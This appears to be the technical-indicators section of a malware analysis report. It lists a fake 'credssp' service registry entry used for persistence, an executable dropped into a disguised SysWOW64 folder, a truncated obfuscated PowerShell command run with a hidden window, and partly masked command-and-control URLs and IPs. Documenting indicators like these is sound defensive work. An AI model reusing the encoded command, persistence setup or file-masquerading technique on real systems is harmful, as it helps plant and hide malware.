Technical Information
- [<HKLM>\System\CurrentControlSet\Services\credssp] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\credssp] 'ImagePath' = '"%WINDIR%\SysWOW64\NlsLexicons0003\credssp.exe"'
- 'credssp' "%WINDIR%\SysWOW64\NlsLexicons0003\credssp.exe"
- 'credssp' %WINDIR%\SysWOW64\NlsLexicons0003\credssp.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABMAGcAMwBiAHYAOQBlAD0AWwBjAGgAYQByAF0ANAAyADsAJABMAHgAaQB2AG8AZgA4AD0AKAAnAEYAbwAnACsAKAAnAGUAOAA4ACcAKwAnADcAaQAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIA...
- %HOMEPATH%\zd553cl\jlf7iar\t1_1hl2u.exe
- %WINDIR%\syswow64\nlslexicons0003\credssp.exe
- from %HOMEPATH%\zd553cl\jlf7iar\t1_1hl2u.exe to %WINDIR%\syswow64\nlslexicons0003\credssp.exe
- '47.##.140.164':80
- http://sa###heboom.com/admin_access/xht/
- http://47.##.140.164/gLt3h4rFvugF/tvO2P2IjgGoiEHX/FpJldZ/
- DNS ASK sa###heboom.com
- '%HOMEPATH%\zd553cl\jlf7iar\t1_1hl2u.exe'
- '%WINDIR%\syswow64\nlslexicons0003\credssp.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABMAGcAMwBiAHYAOQBlAD0AWwBjAGgAYQByAF0ANAAyADsAJABMAHgAaQB2AG8AZgA4AD0AKAAnAEYAbwAnACsAKAAnAGUAOAA4ACcAKwAnADcAaQAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIA...' (with hidden window)